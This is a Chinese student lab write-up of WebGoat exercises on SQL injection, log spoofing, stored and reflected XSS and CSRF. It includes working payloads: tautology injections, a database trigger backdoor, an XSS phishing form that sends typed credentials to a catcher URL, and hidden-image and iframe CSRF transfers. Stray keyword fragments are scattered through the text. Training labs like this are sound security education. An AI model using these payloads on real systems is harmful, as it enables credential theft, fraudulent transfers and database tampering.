1.SQL注入攻擊原理,如何防護?javascript
(一)Webgoat安裝
1.下載webgoat-container-7.0.1-war-exec.jar文件
二、在含有該文件的目錄下使用命令java -jar webgoat-container-7.0.1-war-exec.jar
運行Webgoat,出現信息: Starting ProtocolHandler ["http-bio-8080"]說明開啓成功,實驗過程當中不能關閉終端
三、在瀏覽器中輸入http://localhost:8080/WebGoat
進入WebGoat登陸界面
四、使用默認用戶名密碼guest登陸便可
html
SQL攻擊java
攻擊成功,顯示全部城市的天氣狀況:
web
2.Log Spoofing
利用入回車(0D%)和換行符(%0A),在 username 中填入zch%0d%0aLogin Succeeded for username: admin
,攻擊成功:
正則表達式
3.String SQL Injection
根據題目要求輸入:Smith。能夠看到查詢的相關信息,語句爲SELECT * FROM user_data WHERE last_name = 'Smith'
sql
注入永真式'or 1='1攻擊成功:
數據庫
or 1=1 --
進行SQL注入,失敗;查看源碼發現是對輸入長度進行了限制,修改源碼再次注入,成功。進行注入101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHEREuserid = NEW.userid
建立後門:
瀏覽器
XSS攻擊安全
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
點擊search,出現表單,輸入信息,攻擊成功:
服務器
2.Stored XSS Attacks
建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容;命名title,在message裏輸入一串js代碼:<script>alert("boy next door");</script>
,點擊剛剛建立的帖子,彈出窗口
3.Reflected XSS Attacks
輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展現。若是輸入一個攻擊URL就會返回該信息。輸入,提交:
CRSF攻擊
1.Cross Site Request Forgery(CSRF)
寫一個URL放進Message框,使其餘用戶不可見,設置成一個隱藏圖片,用戶一旦點擊就會觸發一個CSRF事件;在Message裏輸入<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />;
點擊該消息,頁面就會下載這個消息並顯示,就會執行轉走用戶的存款。
<iframe src="attack?Screen=[scr]menu=[menu]&transferFunds=5000"> </iframe> <iframe src="attack?Screen=[scr]&menu=[menu]&transferFunds=CONFIRM"> </iframe>
查看消息,看到轉帳消息: